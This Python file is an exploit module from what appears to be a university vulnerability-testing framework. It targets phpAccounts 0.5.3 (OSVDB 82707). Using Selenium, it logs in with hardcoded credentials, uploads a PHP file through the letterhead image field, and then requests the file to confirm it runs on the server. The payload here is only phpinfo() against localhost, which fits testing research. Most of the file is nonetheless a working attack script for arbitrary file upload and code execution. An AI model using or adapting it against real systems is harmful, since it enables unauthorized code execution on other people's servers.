
# Copyright 2013 University of Maryland.  All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE.TXT file.


import framework                        
import time
import selenium.common.exceptions

class Exploit (framework.Exploit):
    attributes = {'Name' : "OSVDB_82707D",
                  'Description' : "Upload and exec of php file using Letterhead img uplaod feature",
                  'References' : [['OSVDB','82707'],['http://www.osvdb.org/show/osvdb/82707']],
                  'Target' : "phpAccounts 0.5.3",
                  'TargetLicense' : '',
                  'Type' : "EXEC",
                  'VulWikiPage' : "",
                  'Privileged' : True
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return


    def setup(self, target_system_dir):
        
        self.logger.info("Creating payload file")
        fd = file("/tmp/phpinfoexploit.php", 'w')
        fd.write("<?php\nphpinfo();\n?>")
        fd.close()
        
        return


    def exploit(self):
        driver = self.create_selenium_driver()
        driver.get("http://127.0.0.1/phpaccounts/index.php")

        driver.get_element(by_xpath="//input[@name='Login_Username']").send_keys("phpaccounts@umd.edu")
        driver.get_element(by_xpath="//input[@name='Login_Password']").send_keys("phpaccountspw21")
        driver.get_element(by_xpath="//input[@value='Login']").click()
        driver.get_element(by_xpath="//frame[@name='leftFrame']")

        driver.get("http://127.0.0.1//phpaccounts/index.php?page=tasks&action=preferences")
        
        driver.get_element(by_xpath="//input[@name='letterhead_image']").send_keys("/tmp/phpinfoexploit.php")

        driver.get_element(by_xpath="//input[@value='Save Changes']").click()

        
        driver.cleanup()
        return                

    def verify(self):
        driver = self.create_selenium_driver()
        driver.get("http://127.0.0.1/phpaccounts/users/1/phpinfoexploit.php")
        
        try:
            driver.get_element(by_xpath="//a[@href='http://www.php.net/']")
            driver.cleanup()
            self.logger.info("Payload executed")
            return True
        except selenium.common.exceptions.NoSuchElementException:
            self.logger.error("Payload failed to execute")
            driver.cleanup()
        
        return False



add remote file inclusion exploit